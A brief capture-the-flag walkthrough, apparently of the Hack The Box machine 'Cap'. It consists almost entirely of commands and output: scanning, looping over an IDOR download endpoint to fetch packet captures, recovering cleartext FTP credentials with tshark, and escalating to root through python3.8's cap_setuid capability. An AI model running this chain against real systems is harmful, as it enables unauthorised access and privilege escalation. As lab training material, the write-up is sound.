Cap: IDOR to Root

$ sudo nmap -p- -sV -sC -A 10.10.10.245

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH
80/tcp open  http    Gunicorn (Python Flask)

$ mkdir pcaps && for i in {0..500}; do
    wget 10.10.10.245/download/${i} -O pcaps/${i}.pcap 2>/dev/null || break
  done

$ ls -lah pcaps/

$ tshark -r 0.pcap -Y ftp

220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS [REDACTED]
230 Login successful.

$ ssh nathan@10.10.10.245
Password: [REDACTED]

nathan@cap:~$ cat user.txt

$ getcap -r / 2>/dev/null

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

$ python3.8
>>> import os, pty
>>> os.setuid(0)
>>> pty.spawn("bash")

# whoami → root
# cat /root/root.txt